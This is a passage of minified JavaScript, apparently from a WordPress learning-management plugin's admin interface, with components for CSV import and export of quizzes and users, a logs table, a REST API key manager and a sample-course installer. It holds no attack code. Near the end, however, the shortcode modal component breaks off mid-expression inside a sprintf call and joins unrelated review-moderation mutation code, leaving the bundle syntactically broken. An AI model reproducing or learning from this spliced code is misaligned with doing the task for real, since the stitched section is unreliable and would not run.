file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import quizzes","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export quizzes","learning-management-system")))))};function nh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function ah(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const lh=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(ah({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.usersImport,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["courseList"]})},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(ah({mutationFn:()=>st({path:rt.usersExport,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".csv"},e("file",{required:(0,E.__)("Please select an import CSV file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import users","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export users","learning-management-system")))))};const rh=()=>l().createElement(nm.t,{orientation:"vertical"},l().createElement(d.B,{direction:"row",flex:"1"},l().createElement(Tm.w,{sx:cn},l().createElement(Um.o,{sx:sn},(0,E.__)("Courses","learning-management-system")),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Um.o,{sx:sn},(0,E.__)("Users","learning-management-system")),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Um.o,{sx:sn},(0,E.__)("Settings","learning-management-system")),l().createElement(Um.o,{sx:sn},(0,E.__)("Quizzes","learning-management-system"))),l().createElement(Wm.T,{flex:"1"},l().createElement(Km.K,null,l().createElement(Zf,null)),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Km.K,null,l().createElement(lh,null)),"yes"===(null==R?void 0:R.isCurrentUserAdmin)&&l().createElement(Km.K,null,l().createElement(Gf,null)),l().createElement(Km.K,null,l().createElement(th,null)))));function ih(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function oh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ih(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ih(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const sh=e=>{var t,n,r,i,o,m,c,u,A,y,{}=e,f=(0,We.d)(),h=new mt(rt.logs),{onClose:b,onOpen:w,isOpen:C}=(0,Ue.j)(),[x,S]=(0,a.useState)([]),[B,I]=(0,a.useState)(""),[O,P]=(0,a.useState)(),[D,_]=(0,a.useState)({order:"desc",orderby:"date"}),k=(0,Pn.I)({queryKey:["logs",D],queryFn:()=>h.list(D)}),Q=(0,s.jE)(),z=(0,wt.n)(oh({mutationFn:e=>h.delete(e,{force:!0,children:!0})},{onSuccess:()=>{f({status:"success",title:(0,E.__)("Log Deleted","learning-management-system"),isClosable:!0}),Q.invalidateQueries({queryKey:["logs"]}),b()},onError:e=>{f({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),q={delete:(0,wt.n)(oh({mutationFn:e=>h.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){Q.invalidateQueries({queryKey:["logs"]}),b(),S([]),f({title:(0,E.__)("Logs Deleted","learning-management-system"),isClosable:!0,status:"success"})}}))},F=(0,wr.z)({onTypeFinish:e=>{_(oh(oh({},D),{},{search:e}))}},800),j=(e,t)=>_(ee(oh(oh({},D),{},{order:e,orderby:t})));return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center",bg:"white"},l().createElement(Ne.MJ,{width:"full"},l().createElement(Ma.p,(0,Re.A)({rounded:"base",px:2,py:1,size:"md",fontSize:"small",placeholder:(0,E.__)("Search logs","learning-management-system")},F))),l().createElement(_n.XI,null,k.isLoading||!k.isFetched?l().createElement(vd,null):k.isSuccess&&$(null==k||null===(t=k.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{title:(0,E.__)("No Logs Yet","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system"),isResultFiltered:Boolean(null==D?void 0:D.search)}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,{style:{minWidth:"150px"}},l().createElement(On.S,{isDisabled:k.isFetching||!(null!=k&&null!==(n=k.data)&&void 0!==n&&null!==(n=n.data)&&void 0!==n&&n.length),isIndeterminate:(null==k||null===(r=k.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)!==(null==x?void 0:x.length)&&x.length>0,isChecked:(null==k||null===(i=k.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.length)===(null==x?void 0:x.length)&&!$(null==k||null===(o=k.data)||void 0===o?void 0:o.data),onChange:e=>{var t;return S(e.target.checked?null==k||null===(t=k.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Name","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"title"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>j("desc"===(null==D?void 0:D.order)?"asc":"desc","name")})))),l().createElement(_n.Th,null," ",l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Size","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"title"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>j("desc"===(null==D?void 0:D.order)?"asc":"desc","size")})))),l().createElement(_n.Th,null," ",l().createElement(d.B,{direction:"row",alignItems:"center"},l().createElement(g.E,{fontSize:"xs"},(0,E.__)("Date","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement($e.I,{as:"desc"===(null==D?void 0:D.order)?Le.suq:Le.riQ,h:6,w:6,cursor:"pointer",color:"date"===(null==D?void 0:D.orderby)?"black":"lightgray",transition:"1s",_hover:{color:"black"},onClick:()=>j("desc"===(null==D?void 0:D.order)?"asc":"desc","date")})))),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,l().createElement(l().Fragment,null,null==k||null===(m=k.data)||void 0===m||null===(m=m.data)||void 0===m?void 0:m.map((e=>{var t,n,a;return l().createElement(_n.Tr,{key:null==e?void 0:e.id},l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:null==k?void 0:k.isLoading,isChecked:null==x?void 0:x.includes(null==e||null===(t=e.id)||void 0===t?void 0:t.toString()),onChange:t=>{var n;return S(t.target.checked?[...x,null==e||null===(n=e.id)||void 0===n?void 0:n.toString()]:x.filter((t=>{var n;return t!==(null==e||null===(n=e.id)||void 0===n?void 0:n.toString())})))}})),l().createElement(_n.Td,null,l().createElement(je.N,{as:v.N_,to:Pt.log.replace(":id",null==e||null===(n=e.id)||void 0===n?void 0:n.toString()),fontWeight:"semibold",_hover:{color:"primary.500"}},Ae(null==e?void 0:e.name))),l().createElement(_n.Td,null,null==e?void 0:e.formatted_size),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center",color:"gray.600"},l().createElement($e.I,{as:kt.u$_}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium"},ie(null==e?void 0:e.date,"Y-m-d, h:i A")))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",leftIcon:l().createElement(kt.Ah9,null),size:"xs",onClick:()=>{return t=null==e?void 0:e.url,void JE()(t,oe(t));var t}},(0,E.__)("Download","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{_hover:{color:"red.500"},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),onClick:()=>{return t=null==e?void 0:e.id,w(),I(""),void P(t);var t}},(0,E.__)("Delete","learning-management-system")),l().createElement(je.N,{as:v.N_,to:Pt.log.replace(":id",null==e||null===(a=e.id)||void 0===a?void 0:a.toString()),textDecoration:"none !important"},l().createElement(Kn.D,{icon:l().createElement(la.Ny1,null),_hover:{color:"primary.500"}},(0,E.__)("View","learning-management-system"))))))))})))))),l().createElement(ta,{openToast:w,status:"trash",setBulkAction:I,bulkIds:x,setBulkIds:S,trashable:!1}),l().createElement(qn,{isOpen:C,onClose:b,confirmButtonColorScheme:"restore"===B?"primary":void 0,onConfirm:""===B?()=>{O&&z.mutate(O)}:()=>{q[B].mutate(x)},action:B,isLoading:""===B?z.isPending:null!==(c=null==q||null===(u=q[B])||void 0===u?void 0:u.isLoading)&&void 0!==c&&c,dialogTexts:{default:{header:(0,E.__)("Deleting Logs","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Logs","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}),k.isSuccess&&!$(null==k||null===(A=k.data)||void 0===A?void 0:A.data)&&l().createElement(ba,{metaData:null==k||null===(y=k.data)||void 0===y?void 0:y.meta,setFilterParams:_,perPageText:(0,E.__)("Logs Per Page:","learning-management-system"),extraFilterParams:{order:null==D?void 0:D.order,orderby:null==D?void 0:D.orderby,search:null==D?void 0:D.search}}))};var mh=["children"],ch=["children"];function uh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var dh=e=>{var t,{children:n}=e,a=(0,q.A)(e,mh);return l().createElement(Ii.dK.Control,a,l().createElement(Oa.e,{marginLeft:"2",src:null===(t=a.getValue())||void 0===t||null===(t=t[0])||void 0===t?void 0:t.avatar_url,size:"xs"}),n)},gh=e=>{var t,{children:n}=e,a=(0,q.A)(e,ch);return l().createElement(Ii.dK.Option,a,l().createElement(Ze.z,{alignItems:"center"},l().createElement(Oa.e,{src:null===(t=a.data)||void 0===t?void 0:t.avatar_url,size:"xs"}),l().createElement(Qe.a,null,n)))};const Ah=e=>{var t,n=(0,c.useSelect)((e=>e("core").canUser("create","users")),[])||!1,a=(0,c.useSelect)((e=>e("core").getCurrentUser()),[]),r=$(a)?null:{value:null==a?void 0:a.id,label:null==a?void 0:a.name,avatar_url:$(null==a?void 0:a.avatar_urls)?"":null==a?void 0:a.avatar_urls[24]},{authorData:i,tabIndex:o}=e,{setValue:s}=(0,Je.xW)(),m=new mt(rt.users),u=(0,Pn.I)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?uh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):uh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["users"],queryFn:()=>m.list({orderby:"display_name",order:"asc",per_page:10})},{enabled:n}));return l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("User","learning-management-system")),!u.isLoading&&r?l().createElement(Co,{isDisabled:!n,components:{Control:dh,Option:gh},styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Users not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search by username or email","learning-management-system"),defaultValue:i?{value:i.id,label:i.display_name,avatar_url:i.avatar_url}:r,onChange:e=>{s("user_id",null==e?void 0:e.value)},defaultOptions:u.isSuccess?null===(t=u.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:e.display_name,avatar_url:e.avatar_url}))):[r],loadOptions:(e,t)=>{if($(e))return t([]);m.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:e.display_name,avatar_url:e.avatar_url}))))}))}}):l().createElement(St.E,{height:"40px",width:"100%"}))};function ph(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Eh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ph(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ph(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var yh=Object.entries({read:"Read",write:"Write",read_write:"Read/Write"}).map((e=>{var[t,n]=e;return{value:t,label:n}}));const vh=()=>{var e,t=(0,We.d)(),n=new mt(rt.restAPI),{isOpen:r,onOpen:i,onClose:o}=(0,Ue.j)(),{onClose:m,onOpen:c,isOpen:u}=(0,Ue.j)(),d=(0,Je.mN)(),y=(0,s.jE)(),{register:v,reset:S,setValue:B,getValues:I,control:O,handleSubmit:P}=d,[D,_]=(0,a.useState)("create"),[k,Q]=(0,a.useState)(),z=(0,Xl.i)(""),q=(0,Pn.I)({queryKey:["restAuthAPIs"],queryFn:()=>n.list(),enabled:!0}),F=(0,wt.n)({mutationFn:e=>n.store(e),onSuccess:()=>{t({title:"API key and Secret key generated successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),o(),S()},onError:e=>{t({title:e.message||"Failed to create API key and Secret key",status:"error",isClosable:!0})}}),j=(0,wt.n)({mutationFn:e=>n.update(e.id,e),onSuccess:()=>{t({title:"Updated successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),o(),S()},onError:e=>{t({title:e.message||"Failed to update",status:"error",isClosable:!0})}}),V=(0,wt.n)({mutationFn:e=>n.delete(e),onSuccess:()=>{t({title:"Deleted successfully",status:"success",isClosable:!0}),y.invalidateQueries({queryKey:["restAuthAPIs"]}),m()},onError:e=>{t({title:e.message||"Failed to delete",status:"error",isClosable:!0})}});return(0,a.useEffect)((()=>{null!=z&&z.value&&t({title:(0,E.__)("Copied To Clipboard","learning-management-system"),isClosable:!0,duration:3e3,status:"success"})}),[null==z?void 0:z.value,t]),(0,a.useEffect)((()=>{var e=setTimeout((()=>{null==z||z.setValue("")}),2e3);return()=>clearTimeout(e)}),[z]),l().createElement(Qe.a,{px:4},l().createElement(ft.s,{justifyContent:"flex-end",mb:6},l().createElement(p.$,{leftIcon:l().createElement(et.GGD,null),colorScheme:"primary",onClick:()=>{_("create"),S(),i()}},(0,E.__)("Add New","learning-management-system"))),l().createElement(_n.XI,null,q.isLoading?l().createElement(zd,null):q.isSuccess&&$(null==q?void 0:q.data)?l().createElement(Mn,{title:(0,E.__)("No Rest API Keys Yet","learning-management-system"),description:(0,E.__)("Start building your learning platform by creating your first course. Add lessons, quizzes, and materials to engage your students.","learning-management-system")}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,(0,E.__)("User","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("API Key","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Secret","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Permission","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Description","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Action","learning-management-system")))),l().createElement(_n.NN,null,null==q||null===(e=q.data)||void 0===e?void 0:e.map((e=>{var t,n,a,r,o,s,m;return l().createElement(_n.Tr,{key:null==e?void 0:e.id},l().createElement(_n.Td,null,l().createElement(g.E,{fontWeight:"semibold"},null==e||null===(t=e.user)||void 0===t?void 0:t.display_name)),l().createElement(_n.Td,null,l().createElement($n.m,{label:(0,E.__)("Click to copy","learning-management-system")},l().createElement(p.$,{variant:"outline",colorScheme:"primary",borderRadius:"lg",leftIcon:(null==z?void 0:z.value)===(null==e?void 0:e.apiKey)?l().createElement(la.CMH,{size:18,color:"green"}):l().createElement(kt.$_m,{size:18}),size:"sm",_hover:{variant:"solid"},onClick:()=>{null==z||z.onCopy(null==e?void 0:e.apiKey),null==z||z.setValue(null==e?void 0:e.apiKey)}},null==e||null===(n=e.apiKey)||void 0===n?void 0:n.slice(0,10),"..."))),l().createElement(_n.Td,null,l().createElement($n.m,{label:(0,E.__)("Click to copy","learning-management-system")},l().createElement(p.$,{variant:"outline",colorScheme:"primary",borderRadius:"lg",leftIcon:(null==z?void 0:z.value)===(null==e?void 0:e.secret)?l().createElement(la.CMH,{size:18,color:"green"}):l().createElement(Ve.Zno,{size:18}),size:"sm",_hover:{variant:"solid"},onClick:()=>{null==z||z.onCopy(null==e?void 0:e.secret),null==z||z.setValue(null==e?void 0:e.secret)}},null==e||null===(a=e.secret)||void 0===a?void 0:a.slice(0,12),"..."))),l().createElement(_n.Td,null,(o=null==e?void 0:e.permissions,s="",m="","read"===o?(s="purple",m="Read"):"read_write"===o?(s="green",m="Read / Write"):(s="yellow",m="Write"),l().createElement(Jt.E,{colorScheme:s},m))),l().createElement(_n.Td,null,$(null==e?void 0:e.description)?"-":l().createElement($n.m,{label:null==e?void 0:e.description,placement:"bottom-start"},l().createElement(g.E,{fontWeight:"semibold"},null==e||null===(r=e.description)||void 0===r?void 0:r.slice(0,20)))),l().createElement(_n.Td,null,l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>(e=>{_("update"),B("id",e.id),B("user_id",e.user.id),B("user",e.user),B("permissions",e.permissions),B("description",e.description),i()})(e),icon:l().createElement(_a,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"blue.500"}},(0,E.__)("Edit","learning-management-system")),l().createElement(Kn.D,{onClick:()=>{return t=null==e?void 0:e.id,c(),void Q(t);var t},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system"))))))}))))),l().createElement(h.aF,{isOpen:r,onClose:o,isCentered:!0,size:"xl"},l().createElement(f.m,null),l().createElement(b.$,null,l().createElement(w.r,null,"create"===D?(0,E.__)("Generate API Key and Secret","learning-management-system"):(0,E.__)("Update API","learning-management-system")),l().createElement(C.s,null),l().createElement(Je.Op,d,l().createElement("form",{onSubmit:P((e=>{var t={permissions:e.permissions||"read",description:e.description||"",user_id:e.user_id||0};"create"===D?F.mutate(t):j.mutate(Eh(Eh({},t),{},{id:e.id}))}))},l().createElement(x.c,null,l().createElement(Ah,{authorData:I("user")}),l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("Permissions","learning-management-system")),l().createElement(aa.l,(0,Re.A)({style:{maxWidth:"100% ",background:"white",color:"black"}},v("permissions",{required:(0,E.__)("Select a permission.","learning-management-system")})),yh.map((e=>l().createElement("option",{key:e.value,value:e.value},e.label))))),l().createElement(Ne.MJ,{mb:4},l().createElement(Ge.l,null,(0,E.__)("Description","learning-management-system")),l().createElement(Je.xI,{name:"description",control:O,render:e=>{var{field:{onChange:t,value:n}}=e;return l().createElement(He.T,{placeholder:(0,E.__)("Write here...","learning-management-system"),onChange:t,value:n})}}))),l().createElement(A.j,null,l().createElement(p.$,{colorScheme:"blue",type:"submit",isLoading:(null==F?void 0:F.isPending)||(null==j?void 0:j.isPending)},"create"===D?(0,E.__)("Generate","learning-management-system"):(0,E.__)("Update","learning-management-system")),l().createElement(p.$,{variant:"ghost",ml:3,onClick:o,disabled:(null==F?void 0:F.isPending)||(null==j?void 0:j.isPending)},(0,E.__)("Cancel","learning-management-system"))))))),l().createElement(qn,{isOpen:u,onClose:m,onConfirm:()=>{k&&V.mutate(k)},isLoading:null==V?void 0:V.isPending,dialogTexts:{default:{header:(0,E.__)("Deleting Rest API","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},delete:{header:(0,E.__)("Deleting Rest API","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};function fh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const hh=()=>{var e=(0,We.d)(),t=(0,s.jE)(),[n,r]=(0,a.useState)("publish"),i=(0,wt.n)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?fh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({mutationFn:()=>st({path:rt.importSampleCourses,method:"POST",data:{status:n}})},{onSuccess(){t.invalidateQueries({queryKey:["courseList"]}),e({title:(0,E.__)("Sample courses installed","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(t){e({title:(0,E.__)("Sample courses installation failed","learning-management-system"),description:null==t?void 0:t.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Install Sample Courses","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Select the status of the sample courses for import.","learning-management-system")})),l().createElement(d.B,{spacing:"4",align:"start"},l().createElement(ja.z,{display:"flex",gap:"2",onChange:r,value:n},l().createElement(Va.s,{value:"publish"},(0,E.__)("Publish","learning-management-system")),l().createElement(Va.s,{value:"draft"},(0,E.__)("Draft","learning-management-system"))),l().createElement(p.$,{colorScheme:"primary",isLoading:i.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:()=>i.mutate()},(0,E.__)("Install","learning-management-system")))))};const bh=e=>{var{attributes:t,exampleUsage:n,isOpen:r,onClose:i,shortCode:o,title:s,onCopiedShortcodeChange:m,copiedShortcode:c}=e,{value:u,setValue:d,onCopy:A}=(0,Xl.i)("");(0,a.useEffect)((()=>{u&&(A(),m(u))}),[u]);var p=(e,t)=>{var n=e||(t?ge(o,t):"");u!==n?d(n):m(n)};return(0,a.useEffect)((()=>{var e=setTimeout((()=>{m("")}),2e3);return()=>{clearTimeout(e)}}),[c,m]),l().createElement(h.aF,{isOpen:r,onClose:i,size:"5xl",isCentered:!0},l().createElement(f.m,null),l().createElement(b.$,null,l().createElement(w.r,{textAlign:"center"},(0,E.sprintf)(/* Translators: %s: Shortcode's attributes title. */ +(0,E.__)("course"===z?"Review %s":"Lesson Comment %s","learning-management-system"),(t=e.status,t===aA.spam?"has been marked as spam.":"has been marked as hold.")),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),H=(0,wt.n)(Jv({mutationFn:e=>F.restore(e)},{onSuccess:()=>{j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),b({title:(0,E.__)("course"===z?"Review Restored":"Lesson Comment Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),J=(e,t)=>{G.mutate(ne(ee(e,{status:t})))},X={delete:(0,wt.n)(Jv({mutationFn:e=>F.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Deleted":"Lesson Comments Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)(Jv({mutationFn:e=>F.bulkDelete("delete",{ids:e})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Trashed":"Lesson Comments Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)(Jv({mutationFn:e=>F.bulkRestore("restore",{ids:e})},{onSuccess(){j.invalidateQueries({queryKey:"course"===z?["reviewCourseList"]:["reviewLessonList"]}),V(),Q([]),b({title:(0,E.__)("course"===z?"Reviews Restored":"Lesson Comments Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{b({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:U,defaultActive:"all",onTabChange:e=>{I(e),C(ee(w,{status:e})),Q([]),_("")},counts:null===(t=W.data)||void 0===t||null===(t=t.meta)||void 0===t?void 